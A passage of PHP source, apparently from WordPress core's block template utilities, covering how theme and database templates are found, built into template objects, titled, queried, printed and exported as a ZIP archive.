	$slugs_to_include = isset( $query['slug__in'] ) ? $query['slug__in'] : array();
	$slugs_to_skip    = isset( $query['slug__not_in'] ) ? $query['slug__not_in'] : array();
	$area             = isset( $query['area'] ) ? $query['area'] : null;
	$post_type        = isset( $query['post_type'] ) ? $query['post_type'] : '';

	$stylesheet = get_stylesheet();
	$template   = get_template();
	$themes     = array(
		$stylesheet => get_stylesheet_directory(),
	);
	// Add the parent theme if it's not the same as the current theme.
	if ( $stylesheet !== $template ) {
		$themes[ $template ] = get_template_directory();
	}
	$template_files = array();
	foreach ( $themes as $theme_slug => $theme_dir ) {
		$template_base_paths  = get_block_theme_folders( $theme_slug );
		$theme_template_files = _get_block_templates_paths( $theme_dir . '/' . $template_base_paths[ $template_type ] );
		foreach ( $theme_template_files as $template_file ) {
			$template_base_path = $template_base_paths[ $template_type ];
			$template_slug      = substr(
				$template_file,
				// Starting position of slug.
				strpos( $template_file, $template_base_path . DIRECTORY_SEPARATOR ) + 1 + strlen( $template_base_path ),
				// Subtract ending '.html'.
				-5
			);

			// Skip this item if its slug doesn't match any of the slugs to include.
			if ( ! empty( $slugs_to_include ) && ! in_array( $template_slug, $slugs_to_include, true ) ) {
				continue;
			}

			// Skip this item if its slug matches any of the slugs to skip.
			if ( ! empty( $slugs_to_skip ) && in_array( $template_slug, $slugs_to_skip, true ) ) {
				continue;
			}

			/*
			 * The child theme items (stylesheet) are processed before the parent theme's (template).
			 * If a child theme defines a template, prevent the parent template from being added to the list as well.
			 */
			if ( isset( $template_files[ $template_slug ] ) ) {
				continue;
			}

			$new_template_item = array(
				'slug'  => $template_slug,
				'path'  => $template_file,
				'theme' => $theme_slug,
				'type'  => $template_type,
			);

			if ( 'wp_template_part' === $template_type ) {
				$candidate = _add_block_template_part_area_info( $new_template_item );
				if ( ! isset( $area ) || ( isset( $area ) && $area === $candidate['area'] ) ) {
					$template_files[ $template_slug ] = $candidate;
				}
			}

			if ( 'wp_template' === $template_type ) {
				$candidate = _add_block_template_info( $new_template_item );
				if (
					! $post_type ||
					( $post_type && isset( $candidate['postTypes'] ) && in_array( $post_type, $candidate['postTypes'], true ) )
				) {
					$template_files[ $template_slug ] = $candidate;
				}
			}
		}
	}

	return array_values( $template_files );
}

/**
 * Attempts to add custom template information to the template item.
 *
 * @since 5.9.0
 * @access private
 *
 * @param array $template_item Template to add information to (requires 'slug' field).
 * @return array Template item.
 */
function _add_block_template_info( $template_item ) {
	if ( ! wp_theme_has_theme_json() ) {
		return $template_item;
	}

	$theme_data = wp_get_theme_data_custom_templates();
	if ( isset( $theme_data[ $template_item['slug'] ] ) ) {
		$template_item['title']     = $theme_data[ $template_item['slug'] ]['title'];
		$template_item['postTypes'] = $theme_data[ $template_item['slug'] ]['postTypes'];
	}

	return $template_item;
}

/**
 * Attempts to add the template part's area information to the input template.
 *
 * @since 5.9.0
 * @access private
 *
 * @param array $template_info Template to add information to (requires 'type' and 'slug' fields).
 * @return array Template info.
 */
function _add_block_template_part_area_info( $template_info ) {
	if ( wp_theme_has_theme_json() ) {
		$theme_data = wp_get_theme_data_template_parts();
	}

	if ( isset( $theme_data[ $template_info['slug'] ]['area'] ) ) {
		$template_info['title'] = $theme_data[ $template_info['slug'] ]['title'];
		$template_info['area']  = _filter_block_template_part_area( $theme_data[ $template_info['slug'] ]['area'] );
	} else {
		$template_info['area'] = WP_TEMPLATE_PART_AREA_UNCATEGORIZED;
	}

	return $template_info;
}

/**
 * Returns an array containing the references of
 * the passed blocks and their inner blocks.
 *
 * @since 5.9.0
 * @access private
 *
 * @param array $blocks array of blocks.
 * @return array block references to the passed blocks and their inner blocks.
 */
function _flatten_blocks( &$blocks ) {
	$all_blocks = array();
	$queue      = array();
	foreach ( $blocks as &$block ) {
		$queue[] = &$block;
	}

	while ( count( $queue ) > 0 ) {
		$block = &$queue[0];
		array_shift( $queue );
		$all_blocks[] = &$block;

		if ( ! empty( $block['innerBlocks'] ) ) {
			foreach ( $block['innerBlocks'] as &$inner_block ) {
				$queue[] = &$inner_block;
			}
		}
	}

	return $all_blocks;
}

/**
 * Injects the active theme's stylesheet as a `theme` attribute
 * into a given template part block.
 *
 * @since 6.4.0
 * @access private
 *
 * @param array $block a parsed block.
 */
function _inject_theme_attribute_in_template_part_block( &$block ) {
	if (
		'core/template-part' === $block['blockName'] &&
		! isset( $block['attrs']['theme'] )
	) {
		$block['attrs']['theme'] = get_stylesheet();
	}
}

/**
 * Removes the `theme` attribute from a given template part block.
 *
 * @since 6.4.0
 * @access private
 *
 * @param array $block a parsed block.
 */
function _remove_theme_attribute_from_template_part_block( &$block ) {
	if (
		'core/template-part' === $block['blockName'] &&
		isset( $block['attrs']['theme'] )
	) {
		unset( $block['attrs']['theme'] );
	}
}

/**
 * Builds a unified template object based on a theme file.
 *
 * @since 5.9.0
 * @since 6.3.0 Added `modified` property to template objects.
 * @access private
 *
 * @param array  $template_file Theme file.
 * @param string $template_type Template type. Either 'wp_template' or 'wp_template_part'.
 * @return WP_Block_Template Template.
 */
function _build_block_template_result_from_file( $template_file, $template_type ) {
	$default_template_types = get_default_block_template_types();
	$theme                  = get_stylesheet();

	$template                 = new WP_Block_Template();
	$template->id             = $theme . '//' . $template_file['slug'];
	$template->theme          = $theme;
	$template->content        = file_get_contents( $template_file['path'] );
	$template->slug           = $template_file['slug'];
	$template->source         = 'theme';
	$template->type           = $template_type;
	$template->title          = ! empty( $template_file['title'] ) ? $template_file['title'] : $template_file['slug'];
	$template->status         = 'publish';
	$template->has_theme_file = true;
	$template->is_custom      = true;
	$template->modified       = null;

	if ( 'wp_template' === $template_type && isset( $default_template_types[ $template_file['slug'] ] ) ) {
		$template->description = $default_template_types[ $template_file['slug'] ]['description'];
		$template->title       = $default_template_types[ $template_file['slug'] ]['title'];
		$template->is_custom   = false;
	}

	if ( 'wp_template' === $template_type && isset( $template_file['postTypes'] ) ) {
		$template->post_types = $template_file['postTypes'];
	}

	if ( 'wp_template_part' === $template_type && isset( $template_file['area'] ) ) {
		$template->area = $template_file['area'];
	}

	$before_block_visitor = '_inject_theme_attribute_in_template_part_block';
	$after_block_visitor  = null;
	$hooked_blocks        = get_hooked_blocks();
	if ( ! empty( $hooked_blocks ) || has_filter( 'hooked_block_types' ) ) {
		$before_block_visitor = make_before_block_visitor( $hooked_blocks, $template );
		$after_block_visitor  = make_after_block_visitor( $hooked_blocks, $template );
	}
	$blocks            = parse_blocks( $template->content );
	$template->content = traverse_and_serialize_blocks( $blocks, $before_block_visitor, $after_block_visitor );

	return $template;
}

/**
 * Builds the title and description of a post-specific template based on the underlying referenced post.
 *
 * Mutates the underlying template object.
 *
 * @since 6.1.0
 * @access private
 *
 * @param string            $post_type Post type, e.g. page, post, product.
 * @param string            $slug      Slug of the post, e.g. a-story-about-shoes.
 * @param WP_Block_Template $template  Template to mutate adding the description and title computed.
 * @return bool Returns true if the referenced post was found and false otherwise.
 */
function _wp_build_title_and_description_for_single_post_type_block_template( $post_type, $slug, WP_Block_Template $template ) {
	$post_type_object = get_post_type_object( $post_type );

	$default_args = array(
		'post_type'              => $post_type,
		'post_status'            => 'publish',
		'posts_per_page'         => 1,
		'update_post_meta_cache' => false,
		'update_post_term_cache' => false,
		'ignore_sticky_posts'    => true,
		'no_found_rows'          => true,
	);

	$args = array(
		'name' => $slug,
	);
	$args = wp_parse_args( $args, $default_args );

	$posts_query = new WP_Query( $args );

	if ( empty( $posts_query->posts ) ) {
		$template->title = sprintf(
			/* translators: Custom template title in the Site Editor referencing a post that was not found. 1: Post type singular name, 2: Post type slug. */
			__( 'Not found: %1$s (%2$s)' ),
			$post_type_object->labels->singular_name,
			$slug
		);

		return false;
	}

	$post_title = $posts_query->posts[0]->post_title;

	$template->title = sprintf(
		/* translators: Custom template title in the Site Editor. 1: Post type singular name, 2: Post title. */
		__( '%1$s: %2$s' ),
		$post_type_object->labels->singular_name,
		$post_title
	);

	$template->description = sprintf(
		/* translators: Custom template description in the Site Editor. %s: Post title. */
		__( 'Template for %s' ),
		$post_title
	);

	$args = array(
		'title' => $post_title,
	);
	$args = wp_parse_args( $args, $default_args );

	$posts_with_same_title_query = new WP_Query( $args );

	if ( count( $posts_with_same_title_query->posts ) > 1 ) {
		$template->title = sprintf(
			/* translators: Custom template title in the Site Editor. 1: Template title, 2: Post type slug. */
			__( '%1$s (%2$s)' ),
			$template->title,
			$slug
		);
	}

	return true;
}

/**
 * Builds the title and description of a taxonomy-specific template based on the underlying entity referenced.
 *
 * Mutates the underlying template object.
 *
 * @since 6.1.0
 * @access private
 *
 * @param string            $taxonomy Identifier of the taxonomy, e.g. category.
 * @param string            $slug     Slug of the term, e.g. shoes.
 * @param WP_Block_Template $template Template to mutate adding the description and title computed.
 * @return bool True if the term referenced was found and false otherwise.
 */
function _wp_build_title_and_description_for_taxonomy_block_template( $taxonomy, $slug, WP_Block_Template $template ) {
	$taxonomy_object = get_taxonomy( $taxonomy );

	$default_args = array(
		'taxonomy'               => $taxonomy,
		'hide_empty'             => false,
		'update_term_meta_cache' => false,
	);

	$term_query = new WP_Term_Query();

	$args = array(
		'number' => 1,
		'slug'   => $slug,
	);
	$args = wp_parse_args( $args, $default_args );

	$terms_query = $term_query->query( $args );

	if ( empty( $terms_query ) ) {
		$template->title = sprintf(
			/* translators: Custom template title in the Site Editor, referencing a taxonomy term that was not found. 1: Taxonomy singular name, 2: Term slug. */
			__( 'Not found: %1$s (%2$s)' ),
			$taxonomy_object->labels->singular_name,
			$slug
		);
		return false;
	}

	$term_title = $terms_query[0]->name;

	$template->title = sprintf(
		/* translators: Custom template title in the Site Editor. 1: Taxonomy singular name, 2: Term title. */
		__( '%1$s: %2$s' ),
		$taxonomy_object->labels->singular_name,
		$term_title
	);

	$template->description = sprintf(
		/* translators: Custom template description in the Site Editor. %s: Term title. */
		__( 'Template for %s' ),
		$term_title
	);

	$term_query = new WP_Term_Query();

	$args = array(
		'number' => 2,
		'name'   => $term_title,
	);
	$args = wp_parse_args( $args, $default_args );

	$terms_with_same_title_query = $term_query->query( $args );

	if ( count( $terms_with_same_title_query ) > 1 ) {
		$template->title = sprintf(
			/* translators: Custom template title in the Site Editor. 1: Template title, 2: Term slug. */
			__( '%1$s (%2$s)' ),
			$template->title,
			$slug
		);
	}

	return true;
}

/**
 * Builds a block template object from a post object.
 *
 * This is a helper function that creates a block template object from a given post object.
 * It is self-sufficient in that it only uses information passed as arguments; it does not
 * query the database for additional information.
 *
 * @since 6.5.3
 * @access private
 *
 * @param WP_Post $post  Template post.
 * @param array   $terms Additional terms to inform the template object.
 * @param array   $meta  Additional meta fields to inform the template object.
 * @return WP_Block_Template|WP_Error Template or error object.
 */
function _build_block_template_object_from_post_object( $post, $terms = array(), $meta = array() ) {
	if ( empty( $terms['wp_theme'] ) ) {
		return new WP_Error( 'template_missing_theme', __( 'No theme is defined for this template.' ) );
	}
	$theme = $terms['wp_theme'];

	$default_template_types = get_default_block_template_types();

	$template_file  = _get_block_template_file( $post->post_type, $post->post_name );
	$has_theme_file = get_stylesheet() === $theme && null !== $template_file;

	$template                 = new WP_Block_Template();
	$template->wp_id          = $post->ID;
	$template->id             = $theme . '//' . $post->post_name;
	$template->theme          = $theme;
	$template->content        = $post->post_content;
	$template->slug           = $post->post_name;
	$template->source         = 'custom';
	$template->origin         = ! empty( $meta['origin'] ) ? $meta['origin'] : null;
	$template->type           = $post->post_type;
	$template->description    = $post->post_excerpt;
	$template->title          = $post->post_title;
	$template->status         = $post->post_status;
	$template->has_theme_file = $has_theme_file;
	$template->is_custom      = empty( $meta['is_wp_suggestion'] );
	$template->author         = $post->post_author;
	$template->modified       = $post->post_modified;

	if ( 'wp_template' === $post->post_type && $has_theme_file && isset( $template_file['postTypes'] ) ) {
		$template->post_types = $template_file['postTypes'];
	}

	if ( 'wp_template' === $post->post_type && isset( $default_template_types[ $template->slug ] ) ) {
		$template->is_custom = false;
	}

	if ( 'wp_template_part' === $post->post_type && isset( $terms['wp_template_part_area'] ) ) {
		$template->area = $terms['wp_template_part_area'];
	}

	return $template;
}

/**
 * Builds a unified template object based a post Object.
 *
 * @since 5.9.0
 * @since 6.3.0 Added `modified` property to template objects.
 * @since 6.4.0 Added support for a revision post to be passed to this function.
 * @access private
 *
 * @param WP_Post $post Template post.
 * @return WP_Block_Template|WP_Error Template or error object.
 */
function _build_block_template_result_from_post( $post ) {
	$post_id = wp_is_post_revision( $post );
	if ( ! $post_id ) {
		$post_id = $post;
	}
	$parent_post     = get_post( $post_id );
	$post->post_name = $parent_post->post_name;
	$post->post_type = $parent_post->post_type;

	$terms = get_the_terms( $parent_post, 'wp_theme' );

	if ( is_wp_error( $terms ) ) {
		return $terms;
	}

	if ( ! $terms ) {
		return new WP_Error( 'template_missing_theme', __( 'No theme is defined for this template.' ) );
	}

	$terms = array(
		'wp_theme' => $terms[0]->name,
	);

	if ( 'wp_template_part' === $parent_post->post_type ) {
		$type_terms = get_the_terms( $parent_post, 'wp_template_part_area' );
		if ( ! is_wp_error( $type_terms ) && false !== $type_terms ) {
			$terms['wp_template_part_area'] = $type_terms[0]->name;
		}
	}

	$meta = array(
		'origin'           => get_post_meta( $parent_post->ID, 'origin', true ),
		'is_wp_suggestion' => get_post_meta( $parent_post->ID, 'is_wp_suggestion', true ),
	);

	$template = _build_block_template_object_from_post_object( $post, $terms, $meta );

	if ( is_wp_error( $template ) ) {
		return $template;
	}

	// Check for a block template without a description and title or with a title equal to the slug.
	if ( 'wp_template' === $parent_post->post_type && empty( $template->description ) && ( empty( $template->title ) || $template->title === $template->slug ) ) {
		$matches = array();

		// Check for a block template for a single author, page, post, tag, category, custom post type, or custom taxonomy.
		if ( preg_match( '/(author|page|single|tag|category|taxonomy)-(.+)/', $template->slug, $matches ) ) {
			$type           = $matches[1];
			$slug_remaining = $matches[2];

			switch ( $type ) {
				case 'author':
					$nice_name = $slug_remaining;
					$users     = get_users(
						array(
							'capability'     => 'edit_posts',
							'search'         => $nice_name,
							'search_columns' => array( 'user_nicename' ),
							'fields'         => 'display_name',
						)
					);

					if ( empty( $users ) ) {
						$template->title = sprintf(
							/* translators: Custom template title in the Site Editor, referencing a deleted author. %s: Author nicename. */
							__( 'Deleted author: %s' ),
							$nice_name
						);
					} else {
						$author_name = $users[0];

						$template->title = sprintf(
							/* translators: Custom template title in the Site Editor. %s: Author name. */
							__( 'Author: %s' ),
							$author_name
						);

						$template->description = sprintf(
							/* translators: Custom template description in the Site Editor. %s: Author name. */
							__( 'Template for %s' ),
							$author_name
						);

						$users_with_same_name = get_users(
							array(
								'capability'     => 'edit_posts',
								'search'         => $author_name,
								'search_columns' => array( 'display_name' ),
								'fields'         => 'display_name',
							)
						);

						if ( count( $users_with_same_name ) > 1 ) {
							$template->title = sprintf(
								/* translators: Custom template title in the Site Editor. 1: Template title of an author template, 2: Author nicename. */
								__( '%1$s (%2$s)' ),
								$template->title,
								$nice_name
							);
						}
					}
					break;
				case 'page':
					_wp_build_title_and_description_for_single_post_type_block_template( 'page', $slug_remaining, $template );
					break;
				case 'single':
					$post_types = get_post_types();

					foreach ( $post_types as $post_type ) {
						$post_type_length = strlen( $post_type ) + 1;

						// If $slug_remaining starts with $post_type followed by a hyphen.
						if ( 0 === strncmp( $slug_remaining, $post_type . '-', $post_type_length ) ) {
							$slug  = substr( $slug_remaining, $post_type_length, strlen( $slug_remaining ) );
							$found = _wp_build_title_and_description_for_single_post_type_block_template( $post_type, $slug, $template );

							if ( $found ) {
								break;
							}
						}
					}
					break;
				case 'tag':
					_wp_build_title_and_description_for_taxonomy_block_template( 'post_tag', $slug_remaining, $template );
					break;
				case 'category':
					_wp_build_title_and_description_for_taxonomy_block_template( 'category', $slug_remaining, $template );
					break;
				case 'taxonomy':
					$taxonomies = get_taxonomies();

					foreach ( $taxonomies as $taxonomy ) {
						$taxonomy_length = strlen( $taxonomy ) + 1;

						// If $slug_remaining starts with $taxonomy followed by a hyphen.
						if ( 0 === strncmp( $slug_remaining, $taxonomy . '-', $taxonomy_length ) ) {
							$slug  = substr( $slug_remaining, $taxonomy_length, strlen( $slug_remaining ) );
							$found = _wp_build_title_and_description_for_taxonomy_block_template( $taxonomy, $slug, $template );

							if ( $found ) {
								break;
							}
						}
					}
					break;
			}
		}
	}

	$hooked_blocks = get_hooked_blocks();
	if ( ! empty( $hooked_blocks ) || has_filter( 'hooked_block_types' ) ) {
		$before_block_visitor = make_before_block_visitor( $hooked_blocks, $template );
		$after_block_visitor  = make_after_block_visitor( $hooked_blocks, $template );
		$blocks               = parse_blocks( $template->content );
		$template->content    = traverse_and_serialize_blocks( $blocks, $before_block_visitor, $after_block_visitor );
	}

	return $template;
}

/**
 * Retrieves a list of unified template objects based on a query.
 *
 * @since 5.8.0
 *
 * @param array  $query {
 *     Optional. Arguments to retrieve templates.
 *
 *     @type string[] $slug__in  List of slugs to include.
 *     @type int      $wp_id     Post ID of customized template.
 *     @type string   $area      A 'wp_template_part_area' taxonomy value to filter by (for 'wp_template_part' template type only).
 *     @type string   $post_type Post type to get the templates for.
 * }
 * @param string $template_type Template type. Either 'wp_template' or 'wp_template_part'.
 * @return WP_Block_Template[] Array of block templates.
 */
function get_block_templates( $query = array(), $template_type = 'wp_template' ) {
	/**
	 * Filters the block templates array before the query takes place.
	 *
	 * Return a non-null value to bypass the WordPress queries.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Block_Template[]|null $block_templates Return an array of block templates to short-circuit the default query,
	 *                                                  or null to allow WP to run its normal queries.
	 * @param array  $query {
	 *     Arguments to retrieve templates. All arguments are optional.
	 *
	 *     @type string[] $slug__in  List of slugs to include.
	 *     @type int      $wp_id     Post ID of customized template.
	 *     @type string   $area      A 'wp_template_part_area' taxonomy value to filter by (for 'wp_template_part' template type only).
	 *     @type string   $post_type Post type to get the templates for.
	 * }
	 * @param string $template_type Template type. Either 'wp_template' or 'wp_template_part'.
	 */
	$templates = apply_filters( 'pre_get_block_templates', null, $query, $template_type );
	if ( ! is_null( $templates ) ) {
		return $templates;
	}

	$post_type     = isset( $query['post_type'] ) ? $query['post_type'] : '';
	$wp_query_args = array(
		'post_status'         => array( 'auto-draft', 'draft', 'publish' ),
		'post_type'           => $template_type,
		'posts_per_page'      => -1,
		'no_found_rows'       => true,
		'lazy_load_term_meta' => false,
		'tax_query'           => array(
			array(
				'taxonomy' => 'wp_theme',
				'field'    => 'name',
				'terms'    => get_stylesheet(),
			),
		),
	);

	if ( 'wp_template_part' === $template_type && isset( $query['area'] ) ) {
		$wp_query_args['tax_query'][]           = array(
			'taxonomy' => 'wp_template_part_area',
			'field'    => 'name',
			'terms'    => $query['area'],
		);
		$wp_query_args['tax_query']['relation'] = 'AND';
	}

	if ( ! empty( $query['slug__in'] ) ) {
		$wp_query_args['post_name__in']  = $query['slug__in'];
		$wp_query_args['posts_per_page'] = count( array_unique( $query['slug__in'] ) );
	}

	// This is only needed for the regular templates/template parts post type listing and editor.
	if ( isset( $query['wp_id'] ) ) {
		$wp_query_args['p'] = $query['wp_id'];
	} else {
		$wp_query_args['post_status'] = 'publish';
	}

	$template_query = new WP_Query( $wp_query_args );
	$query_result   = array();
	foreach ( $template_query->posts as $post ) {
		$template = _build_block_template_result_from_post( $post );

		if ( is_wp_error( $template ) ) {
			continue;
		}

		if ( $post_type && ! $template->is_custom ) {
			continue;
		}

		if (
			$post_type &&
			isset( $template->post_types ) &&
			! in_array( $post_type, $template->post_types, true )
		) {
			continue;
		}

		$query_result[] = $template;
	}

	if ( ! isset( $query['wp_id'] ) ) {
		/*
		 * If the query has found some use templates, those have priority
		 * over the theme-provided ones, so we skip querying and building them.
		 */
		$query['slug__not_in'] = wp_list_pluck( $query_result, 'slug' );
		$template_files        = _get_block_templates_files( $template_type, $query );
		foreach ( $template_files as $template_file ) {
			$query_result[] = _build_block_template_result_from_file( $template_file, $template_type );
		}
	}

	/**
	 * Filters the array of queried block templates array after they've been fetched.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Block_Template[] $query_result Array of found block templates.
	 * @param array               $query {
	 *     Arguments to retrieve templates. All arguments are optional.
	 *
	 *     @type string[] $slug__in  List of slugs to include.
	 *     @type int      $wp_id     Post ID of customized template.
	 *     @type string   $area      A 'wp_template_part_area' taxonomy value to filter by (for 'wp_template_part' template type only).
	 *     @type string   $post_type Post type to get the templates for.
	 * }
	 * @param string              $template_type wp_template or wp_template_part.
	 */
	return apply_filters( 'get_block_templates', $query_result, $query, $template_type );
}

/**
 * Retrieves a single unified template object using its id.
 *
 * @since 5.8.0
 *
 * @param string $id            Template unique identifier (example: 'theme_slug//template_slug').
 * @param string $template_type Optional. Template type. Either 'wp_template' or 'wp_template_part'.
 *                              Default 'wp_template'.
 * @return WP_Block_Template|null Template.
 */
function get_block_template( $id, $template_type = 'wp_template' ) {
	/**
	 * Filters the block template object before the query takes place.
	 *
	 * Return a non-null value to bypass the WordPress queries.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Block_Template|null $block_template Return block template object to short-circuit the default query,
	 *                                               or null to allow WP to run its normal queries.
	 * @param string                 $id             Template unique identifier (example: 'theme_slug//template_slug').
	 * @param string                 $template_type  Template type. Either 'wp_template' or 'wp_template_part'.
	 */
	$block_template = apply_filters( 'pre_get_block_template', null, $id, $template_type );
	if ( ! is_null( $block_template ) ) {
		return $block_template;
	}

	$parts = explode( '//', $id, 2 );
	if ( count( $parts ) < 2 ) {
		return null;
	}
	list( $theme, $slug ) = $parts;
	$wp_query_args        = array(
		'post_name__in'  => array( $slug ),
		'post_type'      => $template_type,
		'post_status'    => array( 'auto-draft', 'draft', 'publish', 'trash' ),
		'posts_per_page' => 1,
		'no_found_rows'  => true,
		'tax_query'      => array(
			array(
				'taxonomy' => 'wp_theme',
				'field'    => 'name',
				'terms'    => $theme,
			),
		),
	);
	$template_query       = new WP_Query( $wp_query_args );
	$posts                = $template_query->posts;

	if ( count( $posts ) > 0 ) {
		$template = _build_block_template_result_from_post( $posts[0] );

		if ( ! is_wp_error( $template ) ) {
			return $template;
		}
	}

	$block_template = get_block_file_template( $id, $template_type );

	/**
	 * Filters the queried block template object after it's been fetched.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Block_Template|null $block_template The found block template, or null if there isn't one.
	 * @param string                 $id             Template unique identifier (example: 'theme_slug//template_slug').
	 * @param string                 $template_type  Template type. Either 'wp_template' or 'wp_template_part'.
	 */
	return apply_filters( 'get_block_template', $block_template, $id, $template_type );
}

/**
 * Retrieves a unified template object based on a theme file.
 *
 * This is a fallback of get_block_template(), used when no templates are found in the database.
 *
 * @since 5.9.0
 *
 * @param string $id            Template unique identifier (example: 'theme_slug//template_slug').
 * @param string $template_type Optional. Template type. Either 'wp_template' or 'wp_template_part'.
 *                              Default 'wp_template'.
 * @return WP_Block_Template|null The found block template, or null if there isn't one.
 */
function get_block_file_template( $id, $template_type = 'wp_template' ) {
	/**
	 * Filters the block template object before the theme file discovery takes place.
	 *
	 * Return a non-null value to bypass the WordPress theme file discovery.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Block_Template|null $block_template Return block template object to short-circuit the default query,
	 *                                               or null to allow WP to run its normal queries.
	 * @param string                 $id             Template unique identifier (example: 'theme_slug//template_slug').
	 * @param string                 $template_type  Template type. Either 'wp_template' or 'wp_template_part'.
	 */
	$block_template = apply_filters( 'pre_get_block_file_template', null, $id, $template_type );
	if ( ! is_null( $block_template ) ) {
		return $block_template;
	}

	$parts = explode( '//', $id, 2 );
	if ( count( $parts ) < 2 ) {
		/** This filter is documented in wp-includes/block-template-utils.php */
		return apply_filters( 'get_block_file_template', null, $id, $template_type );
	}
	list( $theme, $slug ) = $parts;

	if ( get_stylesheet() !== $theme ) {
		/** This filter is documented in wp-includes/block-template-utils.php */
		return apply_filters( 'get_block_file_template', null, $id, $template_type );
	}

	$template_file = _get_block_template_file( $template_type, $slug );
	if ( null === $template_file ) {
		/** This filter is documented in wp-includes/block-template-utils.php */
		return apply_filters( 'get_block_file_template', null, $id, $template_type );
	}

	$block_template = _build_block_template_result_from_file( $template_file, $template_type );

	/**
	 * Filters the block template object after it has been (potentially) fetched from the theme file.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Block_Template|null $block_template The found block template, or null if there is none.
	 * @param string                 $id             Template unique identifier (example: 'theme_slug//template_slug').
	 * @param string                 $template_type  Template type. Either 'wp_template' or 'wp_template_part'.
	 */
	return apply_filters( 'get_block_file_template', $block_template, $id, $template_type );
}

/**
 * Prints a block template part.
 *
 * @since 5.9.0
 *
 * @param string $part The block template part to print. Either 'header' or 'footer'.
 */
function block_template_part( $part ) {
	$template_part = get_block_template( get_stylesheet() . '//' . $part, 'wp_template_part' );
	if ( ! $template_part || empty( $template_part->content ) ) {
		return;
	}
	echo do_blocks( $template_part->content );
}

/**
 * Prints the header block template part.
 *
 * @since 5.9.0
 */
function block_header_area() {
	block_template_part( 'header' );
}

/**
 * Prints the footer block template part.
 *
 * @since 5.9.0
 */
function block_footer_area() {
	block_template_part( 'footer' );
}

/**
 * Determines whether a theme directory should be ignored during export.
 *
 * @since 6.0.0
 *
 * @param string $path The path of the file in the theme.
 * @return bool Whether this file is in an ignored directory.
 */
function wp_is_theme_directory_ignored( $path ) {
	$directories_to_ignore = array( '.DS_Store', '.svn', '.git', '.hg', '.bzr', 'node_modules', 'vendor' );

	foreach ( $directories_to_ignore as $directory ) {
		if ( str_starts_with( $path, $directory ) ) {
			return true;
		}
	}

	return false;
}

/**
 * Creates an export of the current templates and
 * template parts from the site editor at the
 * specified path in a ZIP file.
 *
 * @since 5.9.0
 * @since 6.0.0 Adds the whole theme to the export archive.
 *
 * @global string $wp_version The WordPress version string.
 *
 * @return WP_Error|string Path of the ZIP file or error on failure.
 */
function wp_generate_block_templates_export_file() {
	global $wp_version;

	if ( ! class_exists( 'ZipArchive' ) ) {
		return new WP_Error( 'missing_zip_package', __( 'Zip Export not supported.' ) );
	}

	$obscura    = wp_generate_password( 12, false, false );
	$theme_name = basename( get_stylesheet() );
	$filename   = get_temp_dir() . $theme_name . $obscura . '.zip';

	$zip = new ZipArchive();
	if ( true !== $zip->open( $filename, ZipArchive::CREATE | ZipArchive::OVERWRITE ) ) {
		return new WP_Error( 'unable_to_create_zip', __( 'Unable to open export file (archive) for writing.' ) );
	}

	$zip->addEmptyDir( 'templates' );
	$zip->addEmptyDir( 'parts' );

	// Get path of the theme.
	$theme_path = wp_normalize_path( get_stylesheet_directory() );

	// Create recursive directory iterator.
	$theme_files = new RecursiveIteratorIterator(
		new RecursiveDirectoryIterator( $theme_path ),
		RecursiveIteratorIterator::LEAVES_ONLY
	);

	// Make a copy of the current theme.
	foreach ( $theme_files as $file ) {
		// Skip directories as they are added automatically.
		if ( ! $file->isDir() ) {
			// Get real and relative path for current file.
			$file_path     = wp_normalize_path( $file );
			$relative_path = substr( $file_path, strlen( $theme_path ) + 1 );

			if ( ! wp_is_theme_directory_ignored( $relative_path ) ) {
				$zip->addFile( $file_path, $relative_path );
			}
		}
	}

	// Load templates into the zip file.
	$templates = get_block_templates();
	foreach ( $templates as $template ) {
		$template->content = traverse_and_serialize_blocks(
			parse_blocks( $template->content ),
			'_remove_theme_attribute_from_template_part_block'
		);

		$zip->addFromString(
			'templates/' . $template->slug . '.html',
			$template->content
		);
	}

	// Load template parts into the zip file.
	$template_parts = get_block_templates( array(), 'wp_template_part' );
	foreach ( $template_parts as $template_part ) {
		$zip->addFromString(
			'parts/' . $template_part->slug . '.html',
			$template_part->content
		);
	}

	// Load theme.json into the zip file.
	$tree = WP_Theme_JSON_Resolver::get_theme_data( array(), array( 'with_supports' => false ) );
	// Merge with user data.
	$tree->merge( WP_Theme_JSON_Resolver::get_user_data() );

	$theme_json_raw = $tree->get_data();
	// If a version is defined, add a schema.
	if ( $theme_json_raw['version'] ) {
		$theme_json_version = 'wp/' . substr( $wp_version, 0, 3 );
		$schema             = array( '$schema' => 'https://schemas.wp.org/' . $theme_json_version . '/theme.json' );
		$theme_json_raw     = array_merge( $schema, $theme_json_raw );
	}

	// Convert to a string.
	$theme_json_encoded = wp_json_encode( $theme_json_raw, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE );

	// Replace 4 spaces with a tab.
	$theme_json_tabbed = preg_replace( '~(?:^|\G)\h{4}~m', "\t", $theme_json_encoded );

	// Add the theme.json file to the zip.
	$zip->addFromString(
		'theme.json',
		$theme_json_tabbed
	);

	// Save changes to the zip file.
	$zip->close();

	return $filename;
}

/**
 * Gets the template hierarchy for the given template slug to be created.
 *
 * Note: Always add `index` as the last fallback template.
 *
 * @since 6.1.0
 *
 * @param string $slug            The template slug to be created.
 * @param bool   $is_custom       Optional. Indicates if a template is custom or
 *                                part of the template hierarchy. Default false.
 * @param string $template_prefix Optional. The template prefix for the created template.
 *                                Used to extract the main template type, e.g.
 *                                in `taxonomy-books` the `taxonomy` is extracted.
 *                                Default empty string.
 * @return string[] The template hierarchy.
 */
function get_template_hierarchy( $slug, $is_custom = false, $template_prefix = '' ) {
	if ( 'index' === $slug ) {
		return array( 'index' );
	}
	if ( $is_custom ) {
		return array( 'page', 'singular', 'index' );
	}
	if ( 'front-page' === $slug ) {
		return array( 'front-page', 'home', 'index' );
	}

	$matches = array();

	$template_hierarchy = array( $slug );
	// Most default templates don't have `$template_prefix` assigned.
	if ( ! empty( $template_prefix ) ) {
		list( $type ) = explode( '-', $template_prefix );
		// We need these checks because we always add the `$slug` above.
		if ( ! in_array( $template_prefix, array( $slug, $type ), true ) ) {
			$template_hierarchy[] = $template_prefix;
		}
		if ( $slug !== $type ) {
			$template_hierarchy[] = $type;
		}
	} elseif ( preg_match( '/^(author|category|archive|tag|page)-.+$/', $slug, $matches ) ) {
